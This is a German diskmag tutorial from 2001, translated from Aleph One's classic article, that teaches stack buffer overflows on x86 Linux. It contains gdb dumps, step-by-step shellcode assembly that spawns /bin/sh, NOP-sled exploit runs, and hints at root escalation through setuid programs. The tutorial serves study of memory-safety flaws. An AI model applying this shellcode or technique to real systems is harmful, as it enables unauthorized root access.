WildMag-Archiv

Sie sind hier: Diskmags → WildMagWildMag #5 (November 2001) → Buffer-Overflows

Bufferoverflows
Scosh

Vorwort

Dieser Text ist im Großen und Ganzen eine freie Übersetzung eines Artikels von Aleph One aus "Phreak-Magazin Ausgabe 49". Spezielle Änderungen an den Bufferoverflowcodes, um sie heutigen Gegebenheiten anzupassen, sind von mir. Der größte Teil der C-Quelltexte ist ebenfalls von Aleph One und wurde meist nur von mir etwas dokumentiert (manchmal hab ich es auch sein gelassen). ;-)

Dieser Text wurde zur Information über Bufferoverflow's geschrieben und ist nicht gedacht um irgend jemanden (und sei er/sie ein noch so doofes A*) zu schaden. Es versteht sich, dass ich dafür auch keine Verantwortung übernehme.

Es ist erlaubt und von mir ausdrücklich gewünscht, dass dieser Text verbreitet wird, solange die Namen von Aleph One und mir erwähnt werden und niemand damit Geld verdient.

Ich wünsche viel Spaß beim Ausprobieren (und Weiterentwickeln) der vorliegenden Programme und hoffe, dass alles verständlich rüberkommt.

Mein Dank geht an dieser Stelle an Aleph One, Mudge und QuantumG für ihre Tutorials zum Thema. Ebenfalls an Fireball der sich das alles stellvertretend für alle anderen schon mal durchgelesen hat.

Für musikalisches Hintergrundrauschen während der ASCII-Kodierung meiner, das Thema betreffenden, Gehirnstrommatrix sei gedankt:

Der Plattenspieler tat sein Werk unter musikalischer Leitung von:

Also "happy root hacking". Let´s rock...

1. Einleitung

Wenn man im Internet ein bischen in Security-Seiten stöbert, findet man oft Unsicherheiten von Betriebsystemen beschrieben, welche auf Bufferoverflowproblemen beruhen. Dazu findet man meist einen Exploitcode, welcher ziemlich kryptisch daherkommt und relativ gefährlich ausehende Pointerkonstruktionen enthält.

Aber was ist ein Bufferoverflow überhaupt? Übersetzt man dieses schöne Wort mal ins Deutsche, so könnte folgendes dabei herauskommen: Speicherüberlauf, und nichts anderes ist ein Bufferoverflow.

Er wird ausgelöst, wenn man in eine lokale Variable mehr reinschreibt als reinpasst. Normalerweise stürzt ein Programm dann mit einer Fehlermeldung wie zum Beispiel "Segmentation fault" ab. C-Programierer, welche viel mit Pointern arbeiten, kennen wahrscheinlich diese Meldung.

Aber was ist nun das Problem und wie soll die Sicherheit von Betriebsystemen dadurch gefährdet sein? (Abgesehen mal davon, dass das Programm halt nicht richtig arbeitet.) Antwort: Man kann lokal oder remote Rootrechte erlangen.

Um die ganze Sache zu erklären, beziehe ich mich auf Linux als Betriebsystem, welches auf einem Intel x86 Prozessor fröhlich seine Rechenzeit verbraucht. Wie gesagt, um die Problematik zu erklären, in der Praxis treten solche Probleme auf jedem Rechner und jedem Betriebsystem auf. Selbst dort wo man sie eigendlich nicht vermutet.

Kleines Beispiel: Nokia 5110 Handys mit einer bestimmten Softwareversion stürzen ab, wenn sie mit einer SMS bestehend aus Punkten beschickt werden. Nun ist die Sache ja nicht allzu dramatisch. Nach drei bis zehn Minuten erholen sich die Dinger wieder und niemand würde wohl ernsthaft auf einem Handy root hacken wollen...

Soviel zur Einleitung...

1. Kapitel - Grundlagen in Prozeß und Speicherorganisition

Ein Prozeß benötigt, um arbeiten zu können, Speicher in dem er Daten ablegen und manipulieren kann. Dieser Speicher ist ein Block im RAM, in dem Daten gleichen Typs hintereinander abgelegt sind. C-Programierer denken in diesem Zusammenhang wohl sofort an Arrays.

Beispielarrays in C:
int buffer01[10]; //Integer Array der Größe 10
char buffer02[] = "TEXT"; //Character Array

Diese Arrays unterscheidet man in zwei Typen. Zum einem in statische, welche beim Laden direkt im Hauptspeicher abgelegt werden, zum anderen in dynamische, welcher erst zur Laufzeit des Programmes auf dem Stack angelegt werden. Ein typischer Vertreter der statischen Variablen ist das im Beispiel aufgeführte Character Array.

Aber ein Prozeß beinhaltet nicht nur Daten, sondern auch Code und einen Speicherbereich für den Stack. Um Bufferoverflows verstehen zu können, reicht im Prinzip die Beschreibung des Stacks aus, dennoch der Vollständigkeit halber an dieser Stelle das ganze Programm.

Ein Prozeß beinhaltet Speicher für den Programcode, für initialisierte Daten und den Stack. Im Code-Bereich werden die Anweisungen des Programmes und read only Daten gespeichert. Dieser Speicherbereich ist nicht beschreibbar. Im Datenbereich werden die initialisierten und uninitialisierten Daten des Prozesses gehalten. In diesem Bereich kann gelesen und geschrieben werden. Und letztendlich der Stackbereich. Hier werden Funktionsparameter und temporäre Daten gespeichert.

Diese oben beschriebenen Speicherbereiche kann man in Segmenten organisieren. Die, wie sollte es auch anders sein, als Code-, Daten- und Stacksegmente bezeichnet werden. Segmente sind dabei ununterbrochene Speicherbereiche einer bestimmten Größe.

Auf einer Intel-CPU werden die Adressen der Segmente in speziellen Registern gespeichert. Die Adressen sind dabei wie folgt aufgeteilt:

Register  Segment
CS        Adresse des Code-Segments
DS        Adresse des Daten-Segments
SS        Adresse des Stack-Segments

Diese speziellen Register nennt man auch Segmentregister. Es gibt allerdings noch weitere dieser Register, auf die ich aber hier nicht eingehen möchte. Andere Hardwareplattformen mögen diese Speicherbereiche anders verwalten, die Unterteilung wird aber immer beibehalten werden.

Wenden wir uns nun dem Stack-Segment etwas genauer zu.

Ein Stack ist ein abstrakter Datentyp mit speziellen Eigenschaften. Das Datenelement, welches zuerst auf dem Stack abgespeichert wird, wird auch zuerst wieder von ihm entfernt. Dieses Prinzip nennt man LIFO-Stack (Last In First Out). Verschiedene Operationen können auf einen Stack angewand werden. Der PUSH Operator schreibt auf den Stack und erhöht ihn um eins, mit POP wird ein Element vom Stack entfernt und derselbige um eins verringert.

Wie verwendet man nun aber den Stack in modernen Computern?

Sprachen wie etwa C benutzen als entscheidende Strukturierungsmethode die Funktion. Eine Funktion kann innerhalb eines Programmes aufgerufen werden, führt dann Anweisungen aus und kehrt wieder zu dem Punkt an dem sie aufgerufen wurde zurück. Dabei wird die Rücksprungadresse der Funktion vor ihrer Ausführung auf dem Stack gespeichert. Man kann einer Funktion bei ihrem Aufruf Parameter übergeben. Der Stack wirkt an dieser Stelle als Zwischenspeicher für diese Parameter.

Um die PUSH und POP Operatoren anwenden zu können, benutzt man einen Stackpointer (SP). Der SP enthält die Adresse der Stackspitze, also der Position, auf die die Operationen angewand werden. Der Stackpointer wird auf dem INTEL durch ein PUSH Kommando verringert und durch ein POP erhöht. Auf diese Art arbeitet der Stack auch in vielen anderen CPU's.

Lokale Variablen werden ebenfalls mit Hilfe des Stacks verwirklicht. Diese liegen, solange die Funktion bearbeitet wird, auf dem Stack. Für die Speicherung dieser lokalen Variablen verwendet man einen sogenannten Stackframe.

Das Problem ist aber, dass durch PUSH POP Befehle nach Einrichtung der lokalen Variablen der Inhalt des Stackpointers verändert wird und dadurch die relative Adresse der Variablen vom Stackpointer aus gesehen, auch.

Da man diese lokalen Variablen immer unter der gleichen Speicheradresse ansprechen möchte, benötigt man noch ein Register, den Framepointer (FP). Dieser FP enthält eine feste Adresse innerhalb des Stacks, die auf den Anfang der lokalen Variablen zeigt. Möchte man auf diese Variablen zugreifen, so kann man sie von diesem Framepointer aus referenzieren. (Man kann mit einem festen Offset auf sie zugreifen.) Die PUSH und POP Operationen können dabei weiter den Stackpointer verändern. Der Wert im Framepointer bleibt aber erhalten.

Auf dem INTEL wird der Stackpointer im Register ESP und der Framepointer im Register EBP gespeichert.

Um alles etwas besser verstehen zu können, erst mal ein Beispiel. Das folgende C-Programm soll an dieser Stelle mal etwas genauer betrachtet werden.

code01.c

Um den gcc compiler zur Ausgabe von Assemblercode zu bewegen, benutzt man das -S Flag.

> gcc -S -o code01.s code01.c

Durch diesen Aufruf wird folgender Quelltext generiert (gekürzt).

function:
  pushl %ebp          alten wert des FP auf stack sichern
  movl %esp,%ebp      SP im FP sichern %esp -> %ebp
  subl $32,%esp       Stackframe der größe 32 einrichten
  movl $255,-20(%ebp) buffer01[0] = 0xff;
.L1:
  movl %ebp,%esp      SP widerherstellen
  popl %ebp           auf stack gesicherten alten FP wiederherstellen
  ret                 ende von funktion - rückkehr zu main
.Lfe1:
main:
  pushl %ebp          alten wert des FP auf stack sichern
  movl %esp,%ebp      SP im FP sichern %esp -> %ebp
  pushl $3            die parameter werden von hinten
  pushl $2            nach vornauf dem stack abgelegt
  pushl $1
  call function       function(1,2,3);
  addl $12,%esp
.L2:
  movl %ebp,%esp      SP widerherstellen
  popl %ebp           auf stack gesicherten alten FP wiederherstellen
  ret                 ende der funktion main - programm ende
.Lfe2:

Das setzen des Stackframes im Assemblercode soll noch einmal genauer erklärt werden.

Der Stack kann nur Wordweise (1 Word = 4 Byte) angesprochen werden. Das heißt die Adressen müssen immer durch 4 teilbar sein. Daraus ergibt sich für den ersten Buffer: int buffer01[5]; eine Länge von 20 Byte = 5 Words und den zweiten Buffer: char buffer02[10]; eine Länge von 12 Byte = 3 Words.

Zusammengezählt ergibt sich eine Stackframegröße von 32 Byte = 8 Words, welche mit folgendem Befehl gesetzt wird: subl $32,%esp. An dieser Stelle ist der Stackframe initialisiert und man kann mit den lokalen Variablen arbeiten. Im Beispiel wird die C-Anweisung buffer01[0] = 0xFF in diesen Assemblercode umgesetzt: movl $255,-20(%ebp) (0xFF Hex = 255 Dezimal).

Der Stack nach der Initialisierung des Framepointers in der Unterfunktion sieht folgendermaßen aus:

Stackspitze         Der gesicherte alte Framepopinter
|                   |
buffer02  buffer01  SFP  ret  a  b  c
                         |    |  |  |
Returnadresse der Funktion    Argumente der Funktion

2. Kapitel - Ein Bufferoverflow

Wie schon gesagt wird ein Bufferoverflow ausgelöst, wenn man Daten in einen Puffer schreibt, die dessen Größe überschreiten. Wie kann man das aber ausnutzen, um bestimmten (eigenen) Code auszuführen? An dieser Stelle ein Beispiel.

code02.c

Das Codebeispiel enthält einen typischen Bufferoverflow durch Verwendung der Funktion strcpy(buffer,string). Ein kleiner Blick auf den Stack während des Aufrufs von "function" für etwas mehr Verständnis.

Stackspitze       Argument von function
|                 |
buffer  sfp  ret  *string

Strcpy überprüft nicht die Länge der übergebenen Speicherarrays und kopiert, bis die Nullterminierung am Ende von String erreicht wird. So wird über die Grenzen des Arrays Buffer kopiert und dabei sfp, ret und weiter überschrieben.

Wie zu sehen wurde das Array String mit A's gefüllt ("A" = 41 Hex). Da die Returnadresse mit dem Inhalt von string überschrieben wurde, enthält sie nach dem Kopieren den Wert 0x41414141. Diese Adresse liegt außerhalb des Prozeßspeichers, das heißt wenn die Funktion beendet wird (durch "ret") wird an die falsche Adresse gesprungen. Das führt zu einem "Segmentation fault".

Ein Bufferoverflow führt also zur Änderung der Rückkehradresse einer Funktion.

In einem weiteren Beispiel soll die Rückkehradresse so geändert werden, dass Teile des Programmcodes übersprungen werden und die unschöne Fehlermeldung vermieden wird.

code03.c

Zur Erklärung noch mal einen Blick auf den Stack:

Stackspitze         Gesicherter alter Framepopinter
|                   |
buffer02  buffer01  SFP  ret  a  b  c
                 |       |
    buffer01 start       Returnadresse der Funktion

Buffer01 ist ein Characterarray der Größe 5 Byte, wobei auf Grund der Adresskonventionen diese 5 Byte auf 8 Byte = 2 Word erweitert werden. Hinter buffer01 liegt der SFP mit der Länge 4 Byte = 1 Word, darauf folgt die Returnadresse, welche verändert werden soll. Die Returnadresse liegt also 12 Byte vom Anfang des Arrays buffer01 entfernt.

Im Beispielprogramm wird diese Adresse um 8 Byte erhöht, womit die Unterfunktion nicht zur Stelle x=1; zurückkehrt sondern 8 Byte weiter mit der Abarbeitung von printf beginnt. Doch wie kommt man jetzt darauf, wo die Funktion printf ausgefürt wird?

Lernen wir einen neuen Freund kennen (und lieben ;-) ): gdb

Das Programm wird wie folgt compiliert:
> gcc -o code03 code03.c

Und nun ruft man den Debugger (gdb) wie folgt auf:

> gdb code03
[...]
(gdb) disass main
0x80484b0 <main>:    pushl %ebp
0x80484b1 <main+1>:  movl  %esp,%ebp
0x80484b3 <main+3>:  subl  $0x4,%esp
0x80484b6 <main+6>:  movl  $0x0,0xfffffffc(%ebp)
0x80484bd <main+13>: pushl $0x3
0x80484bf <main+15>: pushl $0x2
0x80484c1 <main+17>: pushl $0x1
0x80484c3 <main+19>: call  0x8048490 <function>
0x80484c8 <main+24>: addl  $0xc,%esp
0x80484cb <main+27>: movl  $0x1,0xfffffffc(%ebp)
0x80484d2 <main+34>: movl  0xfffffffc(%ebp),%eax
0x80484d5 <main+37>: pushl %eax
0x80484d6 <main+38>: pushl $0x804854c
0x80484db <main+43>: call  0x80483bc <printf>
0x80484e0 <main+48>: addl  $0x8,%esp
0x80484e3 <main+51>: movl  %ebp,%esp
0x80484e5 <main+53>: popl  %ebp
0x80484e6 <main+54>: ret
0x80484e7 <main+55>: nop
End of assembler dump.
(gdb) quit

Wie zu sehen hat die Returnadresse auf dem Stack den Wert 0x80484c8, wenn "function" aufgerufen wird. Folgende Anweisungen sollen übersprungen werden:
0x80484c8 <main+24>: addl $0xc,%esp
0x80484cb <main+27>: movl $0x1,0xfffffffc(%ebp)

Die Ausführung beginnt an dieser Stelle:
0x80484d2 <main+34>: movl 0xfffffffc(%ebp),%eax

Die Abarbeitung soll an der Adresse 0x80484d2 fortgesetzt werden. Rechnet man ein wenig nach so kommt man auf den Wert von 8, um den die Returnadresse erhöht werden muß.

3. Kapitel - Der Shellcode

Wie gezeigt kann man den Fluß eines Programmes, durch Stackmanipulationen so verändern, dass anderer Code als vorgesehen abgearbeitet wird. Aber was für Code sollte in diesem speziellen Fall ausgeführt werden?

Im einfachsten Fall wird es ausreichen, wenn man eine Shell ausführt. Von dieser Shell aus ist es möglich, beliebige Programme zu starten. Was soll man aber tun, wenn so ein Code in dem Programm welches man attakiert, überhaupt nicht existiert?

Man plaziert (einfach) den Code welcher ausgeführt werden soll in dem Puffer, den man overflow'd, und manipuliert die Returnadresse so, dass sie auf den Anfang des hineingeschummelten Codes zeigt.

Der Stack sollte bei einem solchen Vorgehen etwa so aussehen: (C ist dabei der auszuführende Code)

Stackspitze   Alter Framepopinter  Argumente
|                               |          |
buffer                        SFP  ret  args
CCCCCCCCCCCCCCCCCAAAAAAAAAAAA   A  A
                                   |
          Returnadresse der Funktion
(A zeigt auf den Anfang von Buffer, dem Beginn des Codes.)

Wie sieht jetzt aber ein Code, der eine Shell ausführt, aus? Beginnen wir zuerst mit dem entsprechenden C-Code.

code04.c

Das Programm wird wie folgt compiliert:

> gcc -static -o code04 code04.c
> gdb code04
[...]
(gdb) disass main
(gdb) Dump of assembler code for function main:
0x8048140 <main>:    pushl %ebp
0x8048141 <main+1>:  movl  %esp,%ebp
0x8048143 <main+3>:  subl  $0x8,%esp
0x8048146 <main+6>:  movl  $0x8059fc0,0xfffffff8(%ebp)
0x804814d <main+13>: movl  $0x0,0xfffffffc(%ebp)
0x8048154 <main+20>: pushl $0x0
0x8048156 <main+22>: leal  0xfffffff8(%ebp),%eax
0x8048159 <main+25>: pushl %eax
0x804815a <main+26>: movl  0xfffffff8(%ebp),%eax
0x804815d <main+29>: pushl %eax
0x804815e <main+30>: call  0x804cb80 <execve>
0x8048163 <main+35>: addl  $0xc,%esp
0x8048166 <main+38>: movl  %ebp,%esp
0x8048168 <main+40>: popl  %ebp
0x8048169 <main+41>: ret
End of assembler dump.
(gdb) disass __execve
(gdb) Dump of assembler code for function execve:
0x804cb80 <execve>:    pushl %ebx
0x804cb81 <execve+1>:  movl  0x10(%esp,1),%edx
0x804cb85 <execve+5>:  movl  0xc(%esp,1),%ecx
0x804cb89 <execve+9>:  movl  0x8(%esp,1),%ebx
0x804cb8d <execve+13>: movl  $0xb,%eax
0x804cb92 <execve+18>: int   $0x80
0x804cb94 <execve+20>: popl  %ebx
0x804cb95 <execve+21>: cmpl  $0xfffff001,%eax
0x804cb9a <execve+26>: jae   0x804cdb0 <__syscall_error>
0x804cba0 <execve+32>: ret
0x804cba1 <execve+33>: nop
(gdb) quit

Mit diesem disassemblierten Shellcode hat man eine gute Ausgangsbasis, um weiter zu arbeiten. Zuerst soll aber dennoch der vorliegende Code entschlüsselt werden. Mit main beginned zuerst folgender Code:
0x8048140 <main>: pushl %ebp
0x8048141 <main+1>: movl %esp,%ebp
0x8048143 <main+3>: subl $0x8,%esp

So etwas nennt man "procedure prelude". Im Prinzip nichts weiter als die Initialisierung des lokalen Stackframes. In diesem Fall 8 Byte. Dies ist der Platz für die Variable:
char* arg[2];

Diese Variable kann zwei Pointer auf ein Character-Array aufnehmen (pro Pointer 4 Byte).

0x8048146 <main+6>: movl $0x8059fc0,0xfffffff8(%ebp)
Es wird die Adresse 0x8059fc0 in die erste lokale Variable kopiert. Diese Adresse zeigt auf den string "/bin/sh". Der entsprechende C-Code sieht folgendermaßen aus:
arg[0] = "/bin/sh";

0x804814d <main+13>: movl $0x0,0xfffffffc(%ebp)
Dieser Code kopiert Null in den zweiten Pointer von arg[]. Der entsprechende C-Code:
arg[1] = NULL;

Der Aufruf der Funktion execve beginnt an der Stelle <main+20> mit dem Befehl:
0x8048154 <main+20>: pushl $0x0

Es wird das letzte Argument von execve (NULL) zuerst auf den Stack gepusht.
0x8048156 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8048159 <main+25>: pushl %eax

Es folgt das zweite Argument der Funktion, die Adresse von arg[]. Dies wird erst nach %eax geladen und dann auf den Stack gepusht.
0x804815a <main+26>: movl 0xfffffff8(%ebp),%eax
0x804815d <main+29>: pushl %eax

Zum Schluss wird die Adresse des Strings "/bin/sh", wieder über %eax auf den Stack gebracht und die Unterfunktion kann ausgeführt werden mit:
0x804815e <main+30>: call 0x804cb80 <execve>
Wobei die call Anweisung die Rücksprungadresse auf dem Stack ablegt.

Betrachten wir an dieser Stelle execve. Dieser Code kann je nach den benutzten librarys varieren, das Grundkonzept bleibt aber immer gleich.

Als erste Anweisung erhält man den prelude:
0x804cb80 <execve>: pushl %ebx

Die Adresse des Null-Pointers wird nach %edx kopiert:
0x804cb81 <execve+1>: movl 0x10(%esp,1),%edx

Die Adresse von arg[] wird in %ecx geschrieben:
0x804cb85 <execve+5>: movl 0xc(%esp,1),%ecx

Die Stringadresse "/bin/sh" kommt nach %ebx:
0x804cb89 <execve+9>: movl 0x8(%esp,1),%ebx

In LINUX werden Systemaufrufe durch int 0x80 ausgelöst. Die Funktion, die man ansprechen möchte, wird dabei durch eine Nummer in %eax bezeichnet. Für execve ist diese Nummer $0x0b oder 11 dezimal. Die Argumente liegen dabei in den Registern.
0x804cb8d <execve+13>: movl $0xb,%eax
0x804cb92 <execve+18>: int $0x80

An dieser Stelle sind wir im Kernel und die Funktion execve wird ausgeführt.

Rekapitulieren wir an dieser Stelle einmal, was wir alles benötigen und tun müssen, um execve auszuführen.

  1. Ein nullterminierter String ("/bin/sh") der irgendwo im Speicher liegt
  2. Die Adresse dieses Strings gefolgt von einem Null Word
  3. 0x0b ins eax Register kopieren
  4. Die Adresse der Adresse des Strings "/bin/sh" nach ebx kopieren
  5. Die Adresse des Strings ("/bin/sh") nach ecx kopieren
  6. Die Adressse eines NULL long word nach edx kopieren
  7. Den Interupt 0x80 auslösen

Möglicherweise wird die execve Anweisung aber nicht korrekt ausgeführt und das Programm würde weiter laufen, allerdings mit Anweiseungen, die dahinter auf dem Stack stehen. Das sind aber zufällige Daten und das Programm könnte möglicherweise einen Coredump auslösen. Um dies zu verhindern, lösen wir nach Abarbeitung des execve Codes einen exit(0); Aufruf aus.

Um zu ermitteln wie dieser aussieht gehen wir genauso wie bei execve vor und schreiben die Sache erst mal in C nieder.

code042.c

Und compilieren mit folgendem Befehl:

> gcc -o code042 -static code042.c
> gdb code042
[...]
(gdb) disass _exit
(gdb) Dump of assembler code for function _exit:
0x804cb50 <_exit>:    movl %ebx,%edx
0x804cb52 <_exit+2>:  movl 0x4(%esp,1),%ebx
0x804cb56 <_exit+6>:  movl $0x1,%eax
0x804cb5b <_exit+11>: int  $0x80
0x804cb5d <_exit+13>: movl %edx,%ebx
0x804cb5f <_exit+15>: cmpl $0xfffff001,%eax
0x804cb64 <_exit+20>: jae  0x804cd70 <__syscall_error>
0x804cb6a <_exit+26>: nop
0x804cb6b <_exit+27>: nop
0x804cb6c <_exit+28>: nop
0x804cb6d <_exit+29>: nop
0x804cb6e <_exit+30>: nop
0x804cb6f <_exit+31>: nop
End of assembler dump.
(gdb) quit

Exit() macht also folgendes: Der exitcode wird nach %ebx kopiert. Die Funktionsnummer ist 0x01 und muß nach %eax. Der Sprung in den Kernelmode läuft wie gehabt mit "int $0x80".

Erweitern wir die Liste der Schritte zur Erstellung des Schellcodes.

  1. Ein nullterminierter String ("/bin/sh") der irgendwo im Speicher liegt
  2. Die Adresse dieses Strings gefolgt von einem null word
  3. 0x0b ins eax Register kopieren
  4. Die Adresse der Adresse des Strings "/bin/sh" nach ebx kopieren
  5. Die Adresse des Strings ("/bin/sh") nach ecx kopieren
  6. Die Adressse eines NULL long word nach edx kopieren
  7. Den Interupt 0x80 auslösen
  8. 0x0 nach %ebx kopieren
  9. 0x1 nach %eax kopieren
  10. Den Interupt 0x80 auslösen

Benutzen wir diesen Bauplan und schreiben uns einen ersten pseudo Shellcode in Assembler nieder.

movlstring_adr,string_adr_adr
movb     0x0,ende_von_string
movl     $0x0,null_adr
movl     $0xb,%eax
movl     string_adr,%ebx
leal     string_adr,%ecx
leal     null_string,%edx
int      $0x80
movl     $0x01,%eax
movl     $0x00,%ebx
int      $0x80
/bin/sh  der string

Das Problem an der Sache ist, dass man nicht weiß, an welcher Speicheradresse der Programmcode und der String liegt. Dieses Problem lässt sich aber mit einer Konstruktion aus einem jmp und call Befehl lösen. Man nutzt dabei die IP-relativen Adressierungsmöglichkeiten der beiden Befehle aus. IP-relativ heißt, dass wir an keine absoluten Adressen springen, sondern an eine Stelle die mit IP (instruction pointer) + einem Wert (offset) berechnet wird.

Man plaziert den call Befehl am Ende des Overflowcodes, genau vor dem String und den jmp Befehl an den Anfang des Codes, um direkt zum call zu springen. Bei Ausführung des call's wird die Adresse hinter dem call auf dem Stack abgelegt und steht so zur Verfügung.

Der neue Code würde etwa so aussehen wobei die Offsets anhand der Länge der Assemblerbefehle berechnet wurden.

jmp 0x2a             sprung zum call
popl %esi            stringadresse nach %esi
movl %esi,0x8(%esi)  adressen des strings in longword
                     hinter dem string (str_adr+8)
movb $0x0,0x7(%esi)  den string mit null abschließen an
                     adresse (str_adr+7)
movl $0x0,0xc(%esi)  ein null longword hinter der
                     stringadresse(str_adr+0x0c) speichern
movl $0xb,%eax       die funktionsnummer nach %eax
movl %esi,%ebx       die adresse der stringadresse nach %ebx
leal 0x8(%esi),%ecx  die stringadresse nach %ecx
leal 0xc(%esi),%edx  die adresse des null longword nach %edx
int $0x80            interrupt ausführen (execve)
movl $0x1,%eax       0x01 nach %eax
movl $0x0,%ebx       0x00 execcode nach %ebx
int $0x80            interrupt ausführen (exec)
call -0x2f           call nach popl %esi
.string \"/bin/sh\"  der string

Sieht verdammt gut aus. Um rauszufinden, ob dieser Code funktioniert, müssen wir ihn compilieren und ausführen. Dabei steht man aber vor einem Problem. Der Code modifiziert sich selbst und führt dabei zu einem Fehler, da wie weiter oben schon beschrieben das Codesegment schreibgeschützt ist. Um den Code dennoch auszuführen, muß man ihn entweder in einem Datensegment oder auf dem Stack platzieren. In diesem Beispiel speichern wir den Code im Datenbereich. Dazu benötigen wir aber dessen hexadezimale Repräsentation.

Erst packen wir mal alles in ein C-Programm. Mit dem Inlineassembler erstellen wir den Code. Das C-Programm:

code05.c

Wird compiliert mit:

> gcc -o code05 code05.c
> gdb code05
[...]
(gdb) disass main
(gdb) Dump of assembler code for function main:
0x8048460 <main>:    pushl %ebp
0x8048461 <main+1>:  movl  %esp,%ebp
0x8048463 <main+3>:  jmp   0x804848f <main+47>
0x8048465 <main+5>:  popl  %esi
0x8048466 <main+6>:  movl  %esi,0x8(%esi)
0x8048469 <main+9>:  movb  $0x0,0x7(%esi)
0x804846d <main+13>: movl  $0x0,0xc(%esi)
0x8048474 <main+20>: movl  $0xb,%eax
0x8048479 <main+25>: movl  %esi,%ebx
0x804847b <main+27>: leal  0x8(%esi),%ecx
0x804847e <main+30>: leal  0xc(%esi),%edx
0x8048481 <main+33>: int   $0x80
0x8048483 <main+35>: movl  $0x1,%eax
0x8048488 <main+40>: movl  $0x0,%ebx
0x804848d <main+45>: int   $0x80
0x804848f <main+47>: call  0x8048465 <main+5>
0x8048494 <main+52>: das
0x8048495 <main+53>: boundl 0x6e(%ecx),%ebp
0x8048498 <main+56>: das
0x8048499 <main+57>: jae   0x8048503
0x804849b <main+59>: addb  %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
(gdb) 0x8048463 <main+3>: 0xeb
[...]
(gdb) quit

Durch den x/bx Befehl im Debugger erhält man den Shellcode byteweise. Er lässt sich so in ein Character-Array schreiben. Sehen wir uns das kleine Testprogramm an:

code06.c

> gcc -o code06 code06.c
> code06
sh-2.02$ exit
>

Klappt also hervorragend. Dummerweise ist da ein Problem... ;-<

In den meisten Fällen werden wir ein Characterarray überschreiben wollen. Diese Characterarrays werden durch ein Nullbyte abgeschlossen. Trifft das Programm im Shellcode auf eine Null so wird es das Kopieren abbrechen und nichts passiert. Aus diesem Grund ist es notwendig den Shellcode so zu gestalten, dass er keine Nullen mehr enthält.

Der verbesserte Code sieht wie folgt aus:

jmp  0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int  $0x80
xorl %ebx,%ebx
movl $ebx,%eax
inc  %eax
int  $0x80
call -0x24
"/bin/sh"; //shell string

Dieses Assemblerprogramm notiert man, wie den ersten Assemblercode, in Byteschreibweise in einem Characterarray. Das Testprogramm mit dem neuen Shellcode:

code07.c

4. Kapitel - Wir schreiben einen Exploitcode

Fügen wir die Fakten mal zusammen.

Wir haben einen Shellcode. Wir wissen, dieser Shellcode muß Teil des Strings sein, mit dem wir den Overflowbuffer füllen. Wir wissen weiterhin, dass wir die Returnadresse so verändern müssen, dass sie auf den Shellcode zeigt. Dieses Beispiel zeigt wie's geht.

code08.c

> gcc -o code08 code08.c
> code08
sh-2.02$ exit
>

Das Problem vor dem man steht, wenn man den Speicher(buffer) eines anderen Programmes overflowen will ist, dass man nicht weiß an welcher Adresse der Shellcode steht. Man muß diese Adresse also raten. Glücklicherweise liegt der Stack jedes Programmes an der gleichen Adresse. Die meisten Programme pushen zu irgendeinem Zeitpunkt nicht mehr als ein paar hundert oder tausend Bytes auf den Stack. Mit diesem Wissen im Hinterkopf stehen die Chancen für das Erraten der richtigen Adresse gar nicht so schlecht.

Zur Hilfe nimmt man sich ein kleines Programm, welches den eigenen Stackpointer ausgibt.

code09.c

> gcc -o code09 code09.c
> code09
0xbffffad8
>

Schreiben wir uns erst einmal ein Programm mit einem Bufferoverflow Problem.

code10.c

> gcc -o code10 code10.c

Man benötigt jetzt noch ein Exploitprogramm, dem man als Parameter die Buffergröße und einen Offset übergibt. Der Offset wird zu der eigenen Stackpointeradresse addiert, um eine Adresse zu erhalten von der man annimmt, dass sie auf den Shellcode zeigt. Abschließend fügt man diesen Shellcode mit den Returnadressen in eine Umgebungsvariable ($KEI).

code11.c

> gcc -o code11 code11.c

Jetzt kann man versuchen, die Größe des Buffers und den Offset zu erraten.

> code11 600 2070
Genutzte Adresse ist: 0xbffff288
! $ code10 $KEI
Illegal Instruction
! $ exit

Das kann man jetzt fortführen bis man die Lust verliert oder man sich was besseres einfallen lässt. Obwohl man weiss, wie groß der Overflowbuffer ist, sollte doch viel Geduld nötig sein um die richtige Returnadresse zu erraten. Ist man auch nur ein Byte daneben bekommt man eine "Illegal Instruction" oder einen "Segmentation fault". Wie können wir unsere Chancen aber erhöhen?

Eine Möglichkeit besteht darin, den Shellcode mit "nop's" aufzufüllen. Einen nop Befehl (ein Befehl der nichts macht) findet man auf fast jedem Prozessor. Auf dem INTEL hat er den Hexadezimalwert 0x90. Was man tun muß, ist an den Anfang des Overflowstrings nop's zu setzten, den Shellcode einzufügen und den Rest mit der Returnadresse aufzufüllen. Durch diesen Trick muß man nicht mehr genau den Anfang des Shellcodes erraten.

Schauen wir uns erst mal an, wie der Stack aussehen müßte, wenn wir dieses Verfahren benutzen.

(C ist dabei der auszuführende Code) (N sind die nop's) (A die Adresse an die gesprungen wird)

Stackspitze  Alter Framepopinter  Argumente
|                              |          |
buffer                       SFP  ret  args
NNNNNNNNNNNNNCCCCCCAAAAAAAA    A    A
                                    |
           Returnadresse der Funktion

Der neue Exploitcode sieht so aus:

code12.c

Eine gute Wahl für die Buffergröße ist ungefähr 100 Bytes mehr als die Größe des Buffers, den man overflowen will. Das lässt genug Platz für die nop's am Anfang und überschreibt aber immer noch die Returnadresse.

> gcc -o code12 code12.c
> code12 600 1100
Genutzte Adresse ist: 0xbffff650
> code10 $KEI
sh-2.02$

Toll, gleich beim ersten mal. Wir haben also ein fremdes Programm dazu gekriegt unseren Code auszuführen, und zwar mit den Rechten des fremden Programmes. Das eröffnet Möglichkeiten... ;-)

Betrachten wir an dieser Stelle die Rechtevergabe unter UNIX. Eine Datei wird mit bestimmten Rechten versehen. Man kann Rechte für den Besitzer der Datei, für die Gruppe zu der der Besitzer gehört und für alle anderen vergeben. Die Rechte von Dateien werden durch das Kommando ls -la angezeigt. Ein Beispiel:

> ls -la /bin
total 2591
drwxr-xr-x  2 root root  1024 May 20 19:54 .
drwxr-xr-x 20 root root  1024 Mar 22 19:45 ..
lrwxrwxrwx  1 root root    17 Mar 22 19:34 compress
-rwxr-xr-x  1 root root 26840 Jan 25 21:02 cp
-rwsr-xr-x  1 root root 32916 Jan 25 21:09 passwd
-rwsr-xr-x  1 root root 18096 Jan 25 22:07 ping
[...]

Die Kleinbuchstaben am Anfang nennt man Flags. Diese Flags sollen hier mal genauer erklärt werden.

r, read = Datei lesbar
